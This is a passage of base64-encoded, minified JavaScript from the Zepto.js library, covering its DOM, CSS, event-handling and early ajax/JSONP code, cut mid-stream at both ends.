nVuY3Rpb24oYil7cmV0dXJuIGFyZ3VtZW50cy5sZW5ndGg9PT0wP3RoaXMubGVuZ3RoPjA/dGhpc1swXS50ZXh0Q29udGVudDpudWxsOnRoaXMuZWFjaChmdW5jdGlvbigpe3RoaXMudGV4dENvbnRlbnQ9Yj09PWE/IiI6IiIrYn0pfSxhdHRyOmZ1bmN0aW9uKGMsZCl7dmFyIGU7cmV0dXJuIHR5cGVvZiBjPT0ic3RyaW5nIiYmZD09PWE/dGhpcy5sZW5ndGg9PTB8fHRoaXNbMF0ubm9kZVR5cGUhPT0xP2E6Yz09InZhbHVlIiYmdGhpc1swXS5ub2RlTmFtZT09IklOUFVUIj90aGlzLnZhbCgpOiEoZT10aGlzWzBdLmdldEF0dHJpYnV0ZShjKSkmJmMgaW4gdGhpc1swXT90aGlzWzBdW2NdOmU6dGhpcy5lYWNoKGZ1bmN0aW9uKGEpe2lmKHRoaXMubm9kZVR5cGUhPT0xKXJldHVybjtpZihLKGMpKWZvcihiIGluIGMpWSh0aGlzLGIsY1tiXSk7ZWxzZSBZKHRoaXMsYyxYKHRoaXMsZCxhLHRoaXMuZ2V0QXR0cmlidXRlKGMpKSl9KX0scmVtb3ZlQXR0cjpmdW5jdGlvbihhKXtyZXR1cm4gdGhpcy5lYWNoKGZ1bmN0aW9uKCl7dGhpcy5ub2RlVHlwZT09PTEmJlkodGhpcyxhKX0pfSxwcm9wOmZ1bmN0aW9uKGIsYyl7cmV0dXJuIGI9RltiXXx8YixjPT09YT90aGlzWzBdJiZ0aGlzWzBdW2JdOnRoaXMuZWFjaChmdW5jdGlvbihhKXt0aGlzW2JdPVgodGhpcyxjLGEsdGhpc1tiXSl9KX0sZGF0YTpmdW5jdGlvbihiLGMpe3ZhciBkPXRoaXMuYXR0cigiZGF0YS0iK2IucmVwbGFjZShwLCItJDEiKS50b0xvd2VyQ2FzZSgpLGMpO3JldHVybiBkIT09bnVsbD8kKGQpOmF9LHZhbDpmdW5jdGlvbihhKXtyZXR1cm4gYXJndW1lbnRzLmxlbmd0aD09PTA/dGhpc1swXSYmKHRoaXNbMF0ubXVsdGlwbGU/Yyh0aGlzWzBdKS5maW5kKCJvcHRpb24iKS5maWx0ZXIoZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5zZWxlY3RlZH0pLnBsdWNrKCJ2YWx1ZSIpOnRoaXNbMF0udmFsdWUpOnRoaXMuZWFjaChmdW5jdGlvbihiKXt0aGlzLnZhbHVlPVgodGhpcyxhLGIsdGhpcy52YWx1ZSl9KX0sb2Zmc2V0OmZ1bmN0aW9uKGEpe2lmKGEpcmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbihiKXt2YXIgZD1jKHRoaXMpLGU9WCh0aGlzLGEsYixkLm9mZnNldCgpKSxmPWQub2Zmc2V0UGFyZW50KCkub2Zmc2V0KCksZz17dG9wOmUudG9wLWYudG9wLGxlZnQ6ZS5sZWZ0LWYubGVmdH07ZC5jc3MoInBvc2l0aW9uIik9PSJzdGF0aWMiJiYoZy5wb3NpdGlvbj0icmVsYXRpdmUiKSxkLmNzcyhnKX0pO2lmKHRoaXMubGVuZ3RoPT0wKXJldHVybiBudWxsO3ZhciBiPXRoaXNbMF0uZ2V0Qm91bmRpbmdDbGllbnRSZWN0KCk7cmV0dXJue2xlZnQ6Yi5sZWZ0K3dpbmRvdy5wYWdlWE9mZnNldCx0b3A6Yi50b3Ard2luZG93LnBhZ2VZT2Zmc2V0LHdpZHRoOk1hdGgucm91bmQoYi53aWR0aCksaGVpZ2h0Ok1hdGgucm91bmQoYi5oZWlnaHQpfX0sY3NzOmZ1bmN0aW9uKGEsZCl7aWYoYXJndW1lbnRzLmxlbmd0aDwyKXt2YXIgZT10aGlzWzBdLGY9Z2V0Q29tcHV0ZWRTdHlsZShlLCIiKTtpZighZSlyZXR1cm47aWYodHlwZW9mIGE9PSJzdHJpbmciKXJldHVybiBlLnN0eWxlW0MoYSldfHxmLmdldFByb3BlcnR5VmFsdWUoYSk7aWYoTShhKSl7dmFyIGc9e307cmV0dXJuIGMuZWFjaChNKGEpP2E6W2FdLGZ1bmN0aW9uKGEsYil7Z1tiXT1lLnN0eWxlW0MoYildfHxmLmdldFByb3BlcnR5VmFsdWUoYil9KSxnfX12YXIgaD0iIjtpZihHKGEpPT0ic3RyaW5nIikhZCYmZCE9PTA/dGhpcy5lYWNoKGZ1bmN0aW9uKCl7dGhpcy5zdHlsZS5yZW1vdmVQcm9wZXJ0eShRKGEpKX0pOmg9UShhKSsiOiIrUyhhLGQpO2Vsc2UgZm9yKGIgaW4gYSkhYVtiXSYmYVtiXSE9PTA/dGhpcy5lYWNoKGZ1bmN0aW9uKCl7dGhpcy5zdHlsZS5yZW1vdmVQcm9wZXJ0eShRKGIpKX0pOmgrPVEoYikrIjoiK1MoYixhW2JdKSsiOyI7cmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbigpe3RoaXMuc3R5bGUuY3NzVGV4dCs9IjsiK2h9KX0saW5kZXg6ZnVuY3Rpb24oYSl7cmV0dXJuIGE/dGhpcy5pbmRleE9mKGMoYSlbMF0pOnRoaXMucGFyZW50KCkuY2hpbGRyZW4oKS5pbmRleE9mKHRoaXNbMF0pfSxoYXNDbGFzczpmdW5jdGlvbihhKXtyZXR1cm4gYT9lLnNvbWUuY2FsbCh0aGlzLGZ1bmN0aW9uKGEpe3JldHVybiB0aGlzLnRlc3QoWihhKSl9LFIoYSkpOiExfSxhZGRDbGFzczpmdW5jdGlvbihhKXtyZXR1cm4gYT90aGlzLmVhY2goZnVuY3Rpb24oYil7ZD1bXTt2YXIgZT1aKHRoaXMpLGY9WCh0aGlzLGEsYixlKTtmLnNwbGl0KC9ccysvZykuZm9yRWFjaChmdW5jdGlvbihhKXtjKHRoaXMpLmhhc0NsYXNzKGEpfHxkLnB1c2goYSl9LHRoaXMpLGQubGVuZ3RoJiZaKHRoaXMsZSsoZT8iICI6IiIpK2Quam9pbigiICIpKX0pOnRoaXN9LHJlbW92ZUNsYXNzOmZ1bmN0aW9uKGIpe3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oYyl7aWYoYj09PWEpcmV0dXJuIFoodGhpcywiIik7ZD1aKHRoaXMpLFgodGhpcyxiLGMsZCkuc3BsaXQoL1xzKy9nKS5mb3JFYWNoKGZ1bmN0aW9uKGEpe2Q9ZC5yZXBsYWNlKFIoYSksIiAiKX0pLFoodGhpcyxkLnRyaW0oKSl9KX0sdG9nZ2xlQ2xhc3M6ZnVuY3Rpb24oYixkKXtyZXR1cm4gYj90aGlzLmVhY2goZnVuY3Rpb24oZSl7dmFyIGY9Yyh0aGlzKSxnPVgodGhpcyxiLGUsWih0aGlzKSk7Zy5zcGxpdCgvXHMrL2cpLmZvckVhY2goZnVuY3Rpb24oYil7KGQ9PT1hPyFmLmhhc0NsYXNzKGIpOmQpP2YuYWRkQ2xhc3MoYik6Zi5yZW1vdmVDbGFzcyhiKX0pfSk6dGhpc30sc2Nyb2xsVG9wOmZ1bmN0aW9uKGIpe2lmKCF0aGlzLmxlbmd0aClyZXR1cm47dmFyIGM9InNjcm9sbFRvcCJpbiB0aGlzWzBdO3JldHVybiBiPT09YT9jP3RoaXNbMF0uc2Nyb2xsVG9wOnRoaXNbMF0ucGFnZVlPZmZzZXQ6dGhpcy5lYWNoKGM/ZnVuY3Rpb24oKXt0aGlzLnNjcm9sbFRvcD1ifTpmdW5jdGlvbigpe3RoaXMuc2Nyb2xsVG8odGhpcy5zY3JvbGxYLGIpfSl9LHNjcm9sbExlZnQ6ZnVuY3Rpb24oYil7aWYoIXRoaXMubGVuZ3RoKXJldHVybjt2YXIgYz0ic2Nyb2xsTGVmdCJpbiB0aGlzWzBdO3JldHVybiBiPT09YT9jP3RoaXNbMF0uc2Nyb2xsTGVmdDp0aGlzWzBdLnBhZ2VYT2Zmc2V0OnRoaXMuZWFjaChjP2Z1bmN0aW9uKCl7dGhpcy5zY3JvbGxMZWZ0PWJ9OmZ1bmN0aW9uKCl7dGhpcy5zY3JvbGxUbyhiLHRoaXMuc2Nyb2xsWSl9KX0scG9zaXRpb246ZnVuY3Rpb24oKXtpZighdGhpcy5sZW5ndGgpcmV0dXJuO3ZhciBhPXRoaXNbMF0sYj10aGlzLm9mZnNldFBhcmVudCgpLGQ9dGhpcy5vZmZzZXQoKSxlPW8udGVzdChiWzBdLm5vZGVOYW1lKT97dG9wOjAsbGVmdDowfTpiLm9mZnNldCgpO3JldHVybiBkLnRvcC09cGFyc2VGbG9hdChjKGEpLmNzcygibWFyZ2luLXRvcCIpKXx8MCxkLmxlZnQtPXBhcnNlRmxvYXQoYyhhKS5jc3MoIm1hcmdpbi1sZWZ0IikpfHwwLGUudG9wKz1wYXJzZUZsb2F0KGMoYlswXSkuY3NzKCJib3JkZXItdG9wLXdpZHRoIikpfHwwLGUubGVmdCs9cGFyc2VGbG9hdChjKGJbMF0pLmNzcygiYm9yZGVyLWxlZnQtd2lkdGgiKSl8fDAse3RvcDpkLnRvcC1lLnRvcCxsZWZ0OmQubGVmdC1lLmxlZnR9fSxvZmZzZXRQYXJlbnQ6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5tYXAoZnVuY3Rpb24oKXt2YXIgYT10aGlzLm9mZnNldFBhcmVudHx8aC5ib2R5O3doaWxlKGEmJiFvLnRlc3QoYS5ub2RlTmFtZSkmJmMoYSkuY3NzKCJwb3NpdGlvbiIpPT0ic3RhdGljIilhPWEub2Zmc2V0UGFyZW50O3JldHVybiBhfSl9fSxjLmZuLmRldGFjaD1jLmZuLnJlbW92ZSxbIndpZHRoIiwiaGVpZ2h0Il0uZm9yRWFjaChmdW5jdGlvbihiKXt2YXIgZD1iLnJlcGxhY2UoLy4vLGZ1bmN0aW9uKGEpe3JldHVybiBhWzBdLnRvVXBwZXJDYXNlKCl9KTtjLmZuW2JdPWZ1bmN0aW9uKGUpe3ZhciBmLGc9dGhpc1swXTtyZXR1cm4gZT09PWE/SShnKT9nWyJpbm5lciIrZF06SihnKT9nLmRvY3VtZW50RWxlbWVudFsic2Nyb2xsIitkXTooZj10aGlzLm9mZnNldCgpKSYmZltiXTp0aGlzLmVhY2goZnVuY3Rpb24oYSl7Zz1jKHRoaXMpLGcuY3NzKGIsWCh0aGlzLGUsYSxnW2JdKCkpKX0pfX0pLHIuZm9yRWFjaChmdW5jdGlvbihhLGIpe3ZhciBkPWIlMjtjLmZuW2FdPWZ1bmN0aW9uKCl7dmFyIGEsZT1jLm1hcChhcmd1bWVudHMsZnVuY3Rpb24oYil7cmV0dXJuIGE9RyhiKSxhPT0ib2JqZWN0Inx8YT09ImFycmF5Inx8Yj09bnVsbD9iOkIuZnJhZ21lbnQoYil9KSxmLGc9dGhpcy5sZW5ndGg+MTtyZXR1cm4gZS5sZW5ndGg8MT90aGlzOnRoaXMuZWFjaChmdW5jdGlvbihhLGgpe2Y9ZD9oOmgucGFyZW50Tm9kZSxoPWI9PTA/aC5uZXh0U2libGluZzpiPT0xP2guZmlyc3RDaGlsZDpiPT0yP2g6bnVsbCxlLmZvckVhY2goZnVuY3Rpb24oYSl7aWYoZylhPWEuY2xvbmVOb2RlKCEwKTtlbHNlIGlmKCFmKXJldHVybiBjKGEpLnJlbW92ZSgpO18oZi5pbnNlcnRCZWZvcmUoYSxoKSxmdW5jdGlvbihhKXthLm5vZGVOYW1lIT1udWxsJiZhLm5vZGVOYW1lLnRvVXBwZXJDYXNlKCk9PT0iU0NSSVBUIiYmKCFhLnR5cGV8fGEudHlwZT09PSJ0ZXh0L2phdmFzY3JpcHQiKSYmIWEuc3JjJiZ3aW5kb3cuZXZhbC5jYWxsKHdpbmRvdyxhLmlubmVySFRNTCl9KX0pfSl9LGMuZm5bZD9hKyJUbyI6Imluc2VydCIrKGI/IkJlZm9yZSI6IkFmdGVyIildPWZ1bmN0aW9uKGIpe3JldHVybiBjKGIpW2FdKHRoaXMpLHRoaXN9fSksQi5aLnByb3RvdHlwZT1jLmZuLEIudW5pcT1ELEIuZGVzZXJpYWxpemVWYWx1ZT0kLGMuemVwdG89QixjfSgpO3dpbmRvdy5aZXB0bz1aZXB0byx3aW5kb3cuJD09PXVuZGVmaW5lZCYmKHdpbmRvdy4kPVplcHRvKSxmdW5jdGlvbihhKXtmdW5jdGlvbiBtKGEpe3JldHVybiBhLl96aWR8fChhLl96aWQ9YysrKX1mdW5jdGlvbiBuKGEsYixjLGQpe2I9byhiKTtpZihiLm5zKXZhciBlPXAoYi5ucyk7cmV0dXJuKGhbbShhKV18fFtdKS5maWx0ZXIoZnVuY3Rpb24oYSl7cmV0dXJuIGEmJighYi5lfHxhLmU9PWIuZSkmJighYi5uc3x8ZS50ZXN0KGEubnMpKSYmKCFjfHxtKGEuZm4pPT09bShjKSkmJighZHx8YS5zZWw9PWQpfSl9ZnVuY3Rpb24gbyhhKXt2YXIgYj0oIiIrYSkuc3BsaXQoIi4iKTtyZXR1cm57ZTpiWzBdLG5zOmIuc2xpY2UoMSkuc29ydCgpLmpvaW4oIiAiKX19ZnVuY3Rpb24gcChhKXtyZXR1cm4gbmV3IFJlZ0V4cCgiKD86XnwgKSIrYS5yZXBsYWNlKCIgIiwiIC4qID8iKSsiKD86IHwkKSIpfWZ1bmN0aW9uIHEoYSxiKXtyZXR1cm4gYS5kZWwmJiFqJiZhLmUgaW4ga3x8ISFifWZ1bmN0aW9uIHIoYSl7cmV0dXJuIGxbYV18fGomJmtbYV18fGF9ZnVuY3Rpb24gcyhiLGMsZSxmLGcsaSxqKXt2YXIgaz1tKGIpLG49aFtrXXx8KGhba109W10pO2Muc3BsaXQoL1xzLykuZm9yRWFjaChmdW5jdGlvbihjKXtpZihjPT0icmVhZHkiKXJldHVybiBhKGRvY3VtZW50KS5yZWFkeShlKTt2YXIgaD1vKGMpO2guZm49ZSxoLnNlbD1nLGguZSBpbiBsJiYoZT1mdW5jdGlvbihiKXt2YXIgYz1iLnJlbGF0ZWRUYXJnZXQ7aWYoIWN8fGMhPT10aGlzJiYhYS5jb250YWlucyh0aGlzLGMpKXJldHVybiBoLmZuLmFwcGx5KHRoaXMsYXJndW1lbnRzKX0pLGguZGVsPWk7dmFyIGs9aXx8ZTtoLnByb3h5PWZ1bmN0aW9uKGEpe2E9eShhKTtpZihhLmlzSW1tZWRpYXRlUHJvcGFnYXRpb25TdG9wcGVkKCkpcmV0dXJuO2EuZGF0YT1mO3ZhciBjPWsuYXBwbHkoYixhLl9hcmdzPT1kP1thXTpbYV0uY29uY2F0KGEuX2FyZ3MpKTtyZXR1cm4gYz09PSExJiYoYS5wcmV2ZW50RGVmYXVsdCgpLGEuc3RvcFByb3BhZ2F0aW9uKCkpLGN9LGguaT1uLmxlbmd0aCxuLnB1c2goaCksImFkZEV2ZW50TGlzdGVuZXIiaW4gYiYmYi5hZGRFdmVudExpc3RlbmVyKHIoaC5lKSxoLnByb3h5LHEoaCxqKSl9KX1mdW5jdGlvbiB0KGEsYixjLGQsZSl7dmFyIGY9bShhKTsoYnx8IiIpLnNwbGl0KC9ccy8pLmZvckVhY2goZnVuY3Rpb24oYil7bihhLGIsYyxkKS5mb3JFYWNoKGZ1bmN0aW9uKGIpe2RlbGV0ZSBoW2ZdW2IuaV0sInJlbW92ZUV2ZW50TGlzdGVuZXIiaW4gYSYmYS5yZW1vdmVFdmVudExpc3RlbmVyKHIoYi5lKSxiLnByb3h5LHEoYixlKSl9KX0pfWZ1bmN0aW9uIHkoYixjKXtpZihjfHwhYi5pc0RlZmF1bHRQcmV2ZW50ZWQpe2N8fChjPWIpLGEuZWFjaCh4LGZ1bmN0aW9uKGEsZCl7dmFyIGU9Y1thXTtiW2FdPWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXNbZF09dSxlJiZlLmFwcGx5KGMsYXJndW1lbnRzKX0sYltkXT12fSk7aWYoYy5kZWZhdWx0UHJldmVudGVkIT09ZD9jLmRlZmF1bHRQcmV2ZW50ZWQ6InJldHVyblZhbHVlImluIGM/Yy5yZXR1cm5WYWx1ZT09PSExOmMuZ2V0UHJldmVudERlZmF1bHQmJmMuZ2V0UHJldmVudERlZmF1bHQoKSliLmlzRGVmYXVsdFByZXZlbnRlZD11fXJldHVybiBifWZ1bmN0aW9uIHooYSl7dmFyIGIsYz17b3JpZ2luYWxFdmVudDphfTtmb3IoYiBpbiBhKSF3LnRlc3QoYikmJmFbYl0hPT1kJiYoY1tiXT1hW2JdKTtyZXR1cm4geShjLGEpfXZhciBiPWEuemVwdG8ucXNhLGM9MSxkLGU9QXJyYXkucHJvdG90eXBlLnNsaWNlLGY9YS5pc0Z1bmN0aW9uLGc9ZnVuY3Rpb24oYSl7cmV0dXJuIHR5cGVvZiBhPT0ic3RyaW5nIn0saD17fSxpPXt9LGo9Im9uZm9jdXNpbiJpbiB3aW5kb3csaz17Zm9jdXM6ImZvY3VzaW4iLGJsdXI6ImZvY3Vzb3V0In0sbD17bW91c2VlbnRlcjoibW91c2VvdmVyIixtb3VzZWxlYXZlOiJtb3VzZW91dCJ9O2kuY2xpY2s9aS5tb3VzZWRvd249aS5tb3VzZXVwPWkubW91c2Vtb3ZlPSJNb3VzZUV2ZW50cyIsYS5ldmVudD17YWRkOnMscmVtb3ZlOnR9LGEucHJveHk9ZnVuY3Rpb24oYixjKXtpZihmKGIpKXt2YXIgZD1mdW5jdGlvbigpe3JldHVybiBiLmFwcGx5KGMsYXJndW1lbnRzKX07cmV0dXJuIGQuX3ppZD1tKGIpLGR9aWYoZyhjKSlyZXR1cm4gYS5wcm94eShiW2NdLGIpO3Rocm93IG5ldyBUeXBlRXJyb3IoImV4cGVjdGVkIGZ1bmN0aW9uIil9LGEuZm4uYmluZD1mdW5jdGlvbihhLGIsYyl7cmV0dXJuIHRoaXMub24oYSxiLGMpfSxhLmZuLnVuYmluZD1mdW5jdGlvbihhLGIpe3JldHVybiB0aGlzLm9mZihhLGIpfSxhLmZuLm9uZT1mdW5jdGlvbihhLGIsYyxkKXtyZXR1cm4gdGhpcy5vbihhLGIsYyxkLDEpfTt2YXIgdT1mdW5jdGlvbigpe3JldHVybiEwfSx2PWZ1bmN0aW9uKCl7cmV0dXJuITF9LHc9L14oW0EtWl18cmV0dXJuVmFsdWUkfGxheWVyW1hZXSQpLyx4PXtwcmV2ZW50RGVmYXVsdDoiaXNEZWZhdWx0UHJldmVudGVkIixzdG9wSW1tZWRpYXRlUHJvcGFnYXRpb246ImlzSW1tZWRpYXRlUHJvcGFnYXRpb25TdG9wcGVkIixzdG9wUHJvcGFnYXRpb246ImlzUHJvcGFnYXRpb25TdG9wcGVkIn07YS5mbi5kZWxlZ2F0ZT1mdW5jdGlvbihhLGIsYyl7cmV0dXJuIHRoaXMub24oYixhLGMpfSxhLmZuLnVuZGVsZWdhdGU9ZnVuY3Rpb24oYSxiLGMpe3JldHVybiB0aGlzLm9mZihiLGEsYyl9LGEuZm4ubGl2ZT1mdW5jdGlvbihiLGMpe3JldHVybiBhKGRvY3VtZW50LmJvZHkpLmRlbGVnYXRlKHRoaXMuc2VsZWN0b3IsYixjKSx0aGlzfSxhLmZuLmRpZT1mdW5jdGlvbihiLGMpe3JldHVybiBhKGRvY3VtZW50LmJvZHkpLnVuZGVsZWdhdGUodGhpcy5zZWxlY3RvcixiLGMpLHRoaXN9LGEuZm4ub249ZnVuY3Rpb24oYixjLGgsaSxqKXt2YXIgayxsLG09dGhpcztpZihiJiYhZyhiKSlyZXR1cm4gYS5lYWNoKGIsZnVuY3Rpb24oYSxiKXttLm9uKGEsYyxoLGIsail9KSxtOyFnKGMpJiYhZihpKSYmaSE9PSExJiYoaT1oLGg9YyxjPWQpO2lmKGYoaCl8fGg9PT0hMSlpPWgsaD1kO3JldHVybiBpPT09ITEmJihpPXYpLG0uZWFjaChmdW5jdGlvbihkLGYpe2omJihrPWZ1bmN0aW9uKGEpe3JldHVybiB0KGYsYS50eXBlLGkpLGkuYXBwbHkodGhpcyxhcmd1bWVudHMpfSksYyYmKGw9ZnVuY3Rpb24oYil7dmFyIGQsZz1hKGIudGFyZ2V0KS5jbG9zZXN0KGMsZikuZ2V0KDApO2lmKGcmJmchPT1mKXJldHVybiBkPWEuZXh0ZW5kKHooYikse2N1cnJlbnRUYXJnZXQ6ZyxsaXZlRmlyZWQ6Zn0pLChrfHxpKS5hcHBseShnLFtkXS5jb25jYXQoZS5jYWxsKGFyZ3VtZW50cywxKSkpfSkscyhmLGIsaSxoLGMsbHx8ayl9KX0sYS5mbi5vZmY9ZnVuY3Rpb24oYixjLGUpe3ZhciBoPXRoaXM7cmV0dXJuIGImJiFnKGIpPyhhLmVhY2goYixmdW5jdGlvbihhLGIpe2gub2ZmKGEsYyxiKX0pLGgpOighZyhjKSYmIWYoZSkmJmUhPT0hMSYmKGU9YyxjPWQpLGU9PT0hMSYmKGU9diksaC5lYWNoKGZ1bmN0aW9uKCl7dCh0aGlzLGIsZSxjKX0pKX0sYS5mbi50cmlnZ2VyPWZ1bmN0aW9uKGIsYyl7cmV0dXJuIGI9ZyhiKXx8YS5pc1BsYWluT2JqZWN0KGIpP2EuRXZlbnQoYik6eShiKSxiLl9hcmdzPWMsdGhpcy5lYWNoKGZ1bmN0aW9uKCl7ImRpc3BhdGNoRXZlbnQiaW4gdGhpcz90aGlzLmRpc3BhdGNoRXZlbnQoYik6YSh0aGlzKS50cmlnZ2VySGFuZGxlcihiLGMpfSl9LGEuZm4udHJpZ2dlckhhbmRsZXI9ZnVuY3Rpb24oYixjKXt2YXIgZCxlO3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oZixoKXtkPXooZyhiKT9hLkV2ZW50KGIpOmIpLGQuX2FyZ3M9YyxkLnRhcmdldD1oLGEuZWFjaChuKGgsYi50eXBlfHxiKSxmdW5jdGlvbihhLGIpe2U9Yi5wcm94eShkKTtpZihkLmlzSW1tZWRpYXRlUHJvcGFnYXRpb25TdG9wcGVkKCkpcmV0dXJuITF9KX0pLGV9LCJmb2N1c2luIGZvY3Vzb3V0IGxvYWQgcmVzaXplIHNjcm9sbCB1bmxvYWQgY2xpY2sgZGJsY2xpY2sgbW91c2Vkb3duIG1vdXNldXAgbW91c2Vtb3ZlIG1vdXNlb3ZlciBtb3VzZW91dCBtb3VzZWVudGVyIG1vdXNlbGVhdmUgY2hhbmdlIHNlbGVjdCBrZXlkb3duIGtleXByZXNzIGtleXVwIGVycm9yIi5zcGxpdCgiICIpLmZvckVhY2goZnVuY3Rpb24oYil7YS5mbltiXT1mdW5jdGlvbihhKXtyZXR1cm4gYT90aGlzLmJpbmQoYixhKTp0aGlzLnRyaWdnZXIoYil9fSksWyJmb2N1cyIsImJsdXIiXS5mb3JFYWNoKGZ1bmN0aW9uKGIpe2EuZm5bYl09ZnVuY3Rpb24oYSl7cmV0dXJuIGE/dGhpcy5iaW5kKGIsYSk6dGhpcy5lYWNoKGZ1bmN0aW9uKCl7dHJ5e3RoaXNbYl0oKX1jYXRjaChhKXt9fSksdGhpc319KSxhLkV2ZW50PWZ1bmN0aW9uKGEsYil7ZyhhKXx8KGI9YSxhPWIudHlwZSk7dmFyIGM9ZG9jdW1lbnQuY3JlYXRlRXZlbnQoaVthXXx8IkV2ZW50cyIpLGQ9ITA7aWYoYilmb3IodmFyIGUgaW4gYillPT0iYnViYmxlcyI/ZD0hIWJbZV06Y1tlXT1iW2VdO3JldHVybiBjLmluaXRFdmVudChhLGQsITApLHkoYyl9fShaZXB0byksZnVuY3Rpb24oJCl7ZnVuY3Rpb24gdHJpZ2dlckFuZFJldHVybihhLGIsYyl7dmFyIGQ9JC5FdmVudChiKTtyZXR1cm4gJChhKS50cmlnZ2VyKGQsYyksIWQuaXNEZWZhdWx0UHJldmVudGVkKCl9ZnVuY3Rpb24gdHJpZ2dlckdsb2JhbChhLGIsYyxkKXtpZihhLmdsb2JhbClyZXR1cm4gdHJpZ2dlckFuZFJldHVybihifHxkb2N1bWVudCxjLGQpfWZ1bmN0aW9uIGFqYXhTdGFydChhKXthLmdsb2JhbCYmJC5hY3RpdmUrKz09PTAmJnRyaWdnZXJHbG9iYWwoYSxudWxsLCJhamF4U3RhcnQiKX1mdW5jdGlvbiBhamF4U3RvcChhKXthLmdsb2JhbCYmIS0tJC5hY3RpdmUmJnRyaWdnZXJHbG9iYWwoYSxudWxsLCJhamF4U3RvcCIpfWZ1bmN0aW9uIGFqYXhCZWZvcmVTZW5kKGEsYil7dmFyIGM9Yi5jb250ZXh0O2lmKGIuYmVmb3JlU2VuZC5jYWxsKGMsYSxiKT09PSExfHx0cmlnZ2VyR2xvYmFsKGIsYywiYWpheEJlZm9yZVNlbmQiLFthLGJdKT09PSExKXJldHVybiExO3RyaWdnZXJHbG9iYWwoYixjLCJhamF4U2VuZCIsW2EsYl0pfWZ1bmN0aW9uIGFqYXhTdWNjZXNzKGEsYixjLGQpe3ZhciBlPWMuY29udGV4dCxmPSJzdWNjZXNzIjtjLnN1Y2Nlc3MuY2FsbChlLGEsZixiKSxkJiZkLnJlc29sdmVXaXRoKGUsW2EsZixiXSksdHJpZ2dlckdsb2JhbChjLGUsImFqYXhTdWNjZXNzIixbYixjLGFdKSxhamF4Q29tcGxldGUoZixiLGMpfWZ1bmN0aW9uIGFqYXhFcnJvcihhLGIsYyxkLGUpe3ZhciBmPWQuY29udGV4dDtkLmVycm9yLmNhbGwoZixjLGIsYSksZSYmZS5yZWplY3RXaXRoKGYsW2MsYixhXSksdHJpZ2dlckdsb2JhbChkLGYsImFqYXhFcnJvciIsW2MsZCxhfHxiXSksYWpheENvbXBsZXRlKGIsYyxkKX1mdW5jdGlvbiBhamF4Q29tcGxldGUoYSxiLGMpe3ZhciBkPWMuY29udGV4dDtjLmNvbXBsZXRlLmNhbGwoZCxiLGEpLHRyaWdnZXJHbG9iYWwoYyxkLCJhamF4Q29tcGxldGUiLFtiLGNdKSxhamF4U3RvcChjKX1mdW5jdGlvbiBlbXB0eSgpe31mdW5jdGlvbiBtaW1lVG9EYXRhVHlwZShhKXtyZXR1cm4gYSYmKGE9YS5zcGxpdCgiOyIsMilbMF0pLGEmJihhPT1odG1sVHlwZT8iaHRtbCI6YT09anNvblR5cGU/Impzb24iOnNjcmlwdFR5cGVSRS50ZXN0KGEpPyJzY3JpcHQiOnhtbFR5cGVSRS50ZXN0KGEpJiYieG1sIil8fCJ0ZXh0In1mdW5jdGlvbiBhcHBlbmRRdWVyeShhLGIpe3JldHVybiBiPT0iIj9hOihhKyImIitiKS5yZXBsYWNlKC9bJj9dezEsMn0vLCI/Iil9ZnVuY3Rpb24gc2VyaWFsaXplRGF0YShhKXthLnByb2Nlc3NEYXRhJiZhLmRhdGEmJiQudHlwZShhLmRhdGEpIT0ic3RyaW5nIiYmKGEuZGF0YT0kLnBhcmFtKGEuZGF0YSxhLnRyYWRpdGlvbmFsKSksYS5kYXRhJiYoIWEudHlwZXx8YS50eXBlLnRvVXBwZXJDYXNlKCk9PSJHRVQiKSYmKGEudXJsPWFwcGVuZFF1ZXJ5KGEudXJsLGEuZGF0YSksYS5kYXRhPXVuZGVmaW5lZCl9ZnVuY3Rpb24gcGFyc2VBcmd1bWVudHMoYSxiLGMsZCl7dmFyIGU9ISQuaXNGdW5jdGlvbihiKTtyZXR1cm57dXJsOmEsZGF0YTplP2I6dW5kZWZpbmVkLHN1Y2Nlc3M6ZT8kLmlzRnVuY3Rpb24oYyk/Yzp1bmRlZmluZWQ6YixkYXRhVHlwZTplP2R8fGM6Y319ZnVuY3Rpb24gc2VyaWFsaXplKGEsYixjLGQpe3ZhciBlLGY9JC5pc0FycmF5KGIpLGc9JC5pc1BsYWluT2JqZWN0KGIpOyQuZWFjaChiLGZ1bmN0aW9uKGIsaCl7ZT0kLnR5cGUoaCksZCYmKGI9Yz9kOmQrIlsiKyhnfHxlPT0ib2JqZWN0Inx8ZT09ImFycmF5Ij9iOiIiKSsiXSIpLCFkJiZmP2EuYWRkKGgubmFtZSxoLnZhbHVlKTplPT0iYXJyYXkifHwhYyYmZT09Im9iamVjdCI/c2VyaWFsaXplKGEsaCxjLGIpOmEuYWRkKGIsaCl9KX12YXIganNvbnBJRD0wLGRvY3VtZW50PXdpbmRvdy5kb2N1bWVudCxrZXksbmFtZSxyc2NyaXB0PS88c2NyaXB0XGJbXjxdKig/Oig/ITxcL3NjcmlwdD4pPFtePF0qKSo8XC9zY3JpcHQ+L2dpLHNjcmlwdFR5cGVSRT0vXig/OnRleHR8YXBwbGljYXRpb24pXC9qYXZhc2NyaXB0L2kseG1sVHlwZVJFPS9eKD86dGV4dHxhcHBsaWNhdGlvbilcL3htbC9pLGpzb25UeXBlPSJhcHBsaWNhdGlvbi9qc29uIixodG1sVHlwZT0idGV4dC9odG1sIixibGFua1JFPS9eXHMqJC87JC5hY3RpdmU9MCwkLmFqYXhKU09OUD1mdW5jdGlvbihhLGIpe2lmKCJ0eXBlImluIGEpe3ZhciBjPWEuanNvbnBDYWxsYmFjayxkPSgkLmlzRnVuY3Rpb24oYyk/YygpOmMpfHwianNvbnAiKyArK2pzb25wSUQsZT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKSxmPXdpbmRvd1tkXSxnLGg9ZnVuY3Rpb24oYSl7JChlKS50cmlnZ2VySGFuZGxlcigiZXJyb3IiLGF8fCJhYm9ydCIpfSxpPXthYm9ydDpofSxqO3JldHVybiBiJiZiLnByb21pc2UoaSksJChlKS5vbigibG9hZCBlcnJvciIsZnVuY3Rpb24oYyxoKXtjbGVhclRpbWVvdXQoaiksJChlKS5vZmYoKS5yZW1vdmUoKSxjLnR5cGU9PSJlcnJvciJ8fCFnP2FqYXhFcnJvcihudWxsLGh8fCJlcnJvciIsaSxhLGIpOmFqYXhTd